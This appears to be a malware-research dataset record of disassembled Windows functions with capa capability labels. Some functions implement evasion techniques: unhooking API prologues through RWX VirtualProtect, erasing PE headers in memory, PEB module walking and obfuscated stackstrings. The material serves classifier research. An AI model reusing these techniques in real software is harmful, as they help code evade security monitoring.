joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43aaf0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x467b88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004606dd
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043a450
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0046060b
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.0045cecc
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.0045cecc
push 1
push 0
push 0
mov ecx, esi
call fcn.0045ce74
push 1
push 0
push 1
mov ecx, esi
call fcn.0045ce74
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046074f
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43ac70
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x467ba8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004606dd
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043a450
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0046060b
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43ad34
cmp dword [esp + 0x40], 1
jne 0x43ad32
cmp ecx, eax
jge 0x43ad34
mov eax, ecx
cmp eax, 0xc8
jge 0x43ad40
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043aaf0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046074f
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43b540
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x467c53
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0045b2ed
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00460985
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00461ea1
test eax, eax
je 0x43b65c
mov ecx, dword [esp + 0x3c]
call fcn.004609b2
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43b620
push edi
mov ecx, esi
call fcn.0045e013
mov ecx, esi
call fcn.0043b800
cmp dword [esp + 0x38], 1
jne 0x43b655
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0045e14e
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x43d830
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x43d863
push esi
call fcn.004409a0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x43d85c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x43d8e9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x43d8d2
mov eax, dword [esi + 8]
test eax, eax
je 0x43d887
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x43d8ce
cmp eax, 2
je 0x43d8d2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43d87a
cmp eax, 3
je 0x43d8ad
cmp eax, 1
jne 0x43d87a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x43d87a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x43d87a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0043d910
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x43d8f8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0043d910
add esp, 4
pop esi
ret

Function at 0x45c0e2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x45c11a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045a199
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045a171
jmp 0x45c126
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x45d7d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x45d812
call fcn.00463291
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x45d812
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x45d809
xor eax, eax
jmp 0x45d81a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0045d820
pop edi
pop esi
pop ebx
ret 4

Function at 0x4637c1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4637ef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46380d
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00463727
jmp 0x46380d
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46380d
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00463727
test edi, edi
mov eax, edi
jne 0x4637f7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001fec
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x1000d3a8
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov edi, eax
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0
push 0
push edi
mov ebx, eax
call esi
mov esi, dword [ebp - 4]
push edi
push esi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebx + 0x3c]
lea edi, [ebx + 0xf8]
add edi, eax
mov dword [ebp - 0xc], edi
movzx ecx, word [eax + ebx + 6]
push dword [eax + ebx + 0x78]
mov dword [ebp - 8], ecx
mov edx, ecx
push esi
mov ecx, edi
call fcn.10001fac
add eax, ebx
add esp, 0x44
xor edi, edi
mov dword [ebp - 0x10], eax
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x18], ecx
test ecx, ecx
je 0x10002130
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.10001fac
mov edx, dword [ebp - 8]
add eax, ebx
mov ecx, dword [ebp - 0xc]
push dword [eax + edi*4]
push dword [ebp - 4]
call fcn.10001fac
add esp, 0x10
add eax, ebx
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x100020ce
test cl, cl
je 0x100020ca
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x100020ce
add eax, 2
add esi, 2
test cl, cl
jne 0x100020ae
xor eax, eax
jmp 0x100020d3
sbb eax, eax
or eax, 1
test eax, eax
je 0x100020e2
mov eax, dword [ebp - 0x1c]
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x10002084
jmp 0x10002130
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
push dword [eax + 0x24]
push dword [ebp - 4]
call fcn.10001fac
mov edx, dword [ebp - 8]
add eax, ebx
mov ecx, dword [ebp - 0xc]
movzx esi, word [eax + edi*2]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 4]
push dword [eax + 0x1c]
push edi
call fcn.10001fac
mov edx, dword [ebp - 8]
add eax, ebx
mov ecx, dword [ebp - 0xc]
push dword [eax + esi*4]
push edi
call fcn.10001fac
push ebx
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002135
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.10001f10
mov ebx, eax
test edi, edi
je 0x100021f5
test esi, esi
je 0x100021f5
push 0x104
lea eax, [ebp - 0x110]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, esi
lea ecx, [ebp - 0x110]
call fcn.10001fec
mov edi, eax
cmp edi, 0xffffffff
je 0x100021f5
lea eax, [ebp - 0x110]
push 0x1000d3a8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0
mov esi, eax
push edi
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push esi
push 5
lea eax, [ebp - 0xc]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x114]
add esp, 0x28
push eax
push 0x40
push 5
push ebx
call esi
mov eax, dword [ebp - 0xc]
mov dword [ebx], eax
mov al, byte [ebp - 8]
mov byte [ebx + 4], al
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x114]
push 5
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bbcb
leave
ret

Function at 0x10002204
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x10002243
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov dword [edi], 0x8b55ff8b
push eax
push dword [ebp - 8]
mov byte [edi + 4], 0xec
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1000bbcb
leave
ret

Function at 0x10002250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test esi, esi
jne 0x10002268
push edi
mov edi, dword fs:[0x30]
mov eax, dword [edi + 8]
ret
push ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x1c]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
jmp 0x10002294
push esi
push dword [eax + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, dword [ebp - 4]
je 0x1000229a
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [eax + 8], 0
jne 0x1000227e
mov eax, dword [eax + 8]
pop esi
leave
ret
Function at 0x10002cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0x4550
jne 0x10002d3b
mov eax, dword [ebp - 0x10]
mov ax, word [eax + 0x14]
mov word [ebp - 0xc], ax
movzx eax, word [ebp - 0xc]
test eax, eax
je 0x10002d3b
lea eax, [ebp - 8]
push eax
push 0x40
movzx eax, word [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
movzx eax, word [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bbcb
leave
ret
Function at 0x100048e8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], 0x26
mov byte [ebp - 0x2c], 0x5e
mov byte [ebp - 0x2b], 0x2e
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x3e
mov byte [ebp - 0x28], 0x17
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x23
mov byte [ebp - 0x24], 0x23
mov byte [ebp - 0x23], 0x47
mov byte [ebp - 0x22], 0x1b
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x23
mov byte [ebp - 0x1e], 0x1f
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x2f
mov byte [ebp - 0x1b], 0x3f
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x5a
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x42
mov byte [ebp - 0x15], 0x47
mov byte [ebp - 0x14], 0x3e
mov byte [ebp - 0x13], 0x5e
mov byte [ebp - 0x12], 0x3e
mov byte [ebp - 0x11], 3
mov byte [ebp - 0x10], 0x5a
mov byte [ebp - 0xf], 0xb
mov byte [ebp - 0xe], 0x6b
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0xb
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0xff
lea ecx, [ebp - 0x2c]
call fcn.10004d18
push 9
pop ecx
lea esi, [ebp - 0x2c]
mov edi, 0x10010c8c
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x10010c8c
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bbcb
leave
ret

Function at 0x100049c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], 0x26
mov byte [ebp - 0x2c], 0x5e
mov byte [ebp - 0x2b], 0x2e
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x3e
mov byte [ebp - 0x28], 0x17
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x23
mov byte [ebp - 0x24], 0x23
mov byte [ebp - 0x23], 0x47
mov byte [ebp - 0x22], 0x1b
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x23
mov byte [ebp - 0x1e], 0x1f
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x2f
mov byte [ebp - 0x1b], 0x3f
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x5e
mov byte [ebp - 0x18], 0x7a
mov byte [ebp - 0x17], 0x32
mov byte [ebp - 0x16], 0x5e
mov byte [ebp - 0x15], 0x47
mov byte [ebp - 0x14], 0x3e
mov byte [ebp - 0x13], 0x5e
mov byte [ebp - 0x12], 0x3e
mov byte [ebp - 0x11], 3
mov byte [ebp - 0x10], 0x5a
mov byte [ebp - 0xf], 0xb
mov byte [ebp - 0xe], 0x6b
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0xb
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0xff
lea ecx, [ebp - 0x2c]
call fcn.10004d18
push 9
pop ecx
lea esi, [ebp - 0x2c]
mov edi, 0x10010c5c
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x10010c5c
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bbcb
leave
ret
Function at 0x10004aa4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], 0x4b
mov byte [ebp - 0x50], 0x77
mov byte [ebp - 0x4f], 0xd3
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0x31
mov byte [ebp - 0x4c], 0xd2
mov byte [ebp - 0x4b], 0x92
mov byte [ebp - 0x4a], 0x1a
mov byte [ebp - 0x49], 0xb9
mov byte [ebp - 0x48], 0x3a
mov byte [ebp - 0x47], 0xd9
mov byte [ebp - 0x46], 0x3a
mov byte [ebp - 0x45], 0xf9
mov byte [ebp - 0x44], 0xfb
mov byte [ebp - 0x43], 0xfa
mov byte [ebp - 0x42], 0x76
mov byte [ebp - 0x41], 0xd2
mov byte [ebp - 0x40], 0x32
mov byte [ebp - 0x3f], 0x51
mov byte [ebp - 0x3e], pe_nt_image_headers32
mov byte [ebp - 0x3d], 0x98
mov byte [ebp - 0x3c], 0xfb
mov byte [ebp - 0x3b], 0x55
mov byte [ebp - 0x3a], 0x98
mov byte [ebp - 0x39], 0xfb
mov byte [ebp - 0x38], 0xd7
mov byte [ebp - 0x37], 0x32
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0xb1
mov byte [ebp - 0x34], 0x12
mov byte [ebp - 0x33], 0xd2
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0xfb
mov byte [ebp - 0x30], 0x59
mov byte [ebp - 0x2f], 0x3a
mov byte [ebp - 0x2e], 0xd9
mov byte [ebp - 0x2d], 0x3a
mov byte [ebp - 0x2c], 0xd9
mov byte [ebp - 0x2b], 0x98
mov byte [ebp - 0x2a], 0xfb
mov byte [ebp - 0x29], 0xd7
mov byte [ebp - 0x28], 0x16
mov byte [ebp - 0x27], 0x95
mov byte [ebp - 0x26], 0xf5
mov byte [ebp - 0x25], 0xfb
mov byte [ebp - 0x24], 0x12
mov byte [ebp - 0x23], 0x32
mov byte [ebp - 0x22], 0xfb
mov byte [ebp - 0x21], 0x95
mov byte [ebp - 0x20], 0x95
mov byte [ebp - 0x1f], 0x39
mov byte [ebp - 0x1e], 0xb7
mov byte [ebp - 0x1d], 0x59
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0xd7
mov byte [ebp - 0x1a], 0x14
mov byte [ebp - 0x19], 0xd7
mov byte [ebp - 0x18], 0x95
mov byte [ebp - 0x17], 0xf9
mov byte [ebp - 0x16], 0x39
mov byte [ebp - 0x15], 0xb9
mov byte [ebp - 0x14], 0xfb
mov byte [ebp - 0x13], 0xb7
mov byte [ebp - 0x12], 0x51
mov byte [ebp - 0x11], 0xd2
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x1a
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xc], 0x56
mov byte [ebp - 0xb], 0xd4
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x19
mov byte [ebp - 8], 0x35
mov byte [ebp - 7], 0xda
mov byte [ebp - 6], 0xff
lea ecx, [ebp - 0x50]
call fcn.10004d2e
push 0x12
pop ecx
lea esi, [ebp - 0x50]
mov edi, 0x10010bf8
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, 0x10010bf8
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bbcb
leave
ret

Function at 0x10004d77
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x10004da8
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [eax*4 + 0x1000d7b8]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10004d8b
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8
Function at 0x10004db7
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100108ce], 0
push esi
push edi
jne 0x10004e7a
push ebx
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004df4
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x16
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004e1c
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004e32
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004e3e
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004e57
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
pop ebx
jmp 0x10004eaa
mov ecx, dword [0x10010904]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea edi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010904]
lea esi, [eax + 0x30]
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, dword [esi]
add edx, dword [edi]
mov ecx, dword [eax + 0x44]
call edx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000bbcb
leave
ret
Function at 0x10004eb8
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100108ce], 0
push ebx
push esi
push edi
mov ebx, ecx
jne 0x10004f7c
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004ef7
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x1b
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004f1f
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004f35
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004f41
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004f5a
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x10004fac
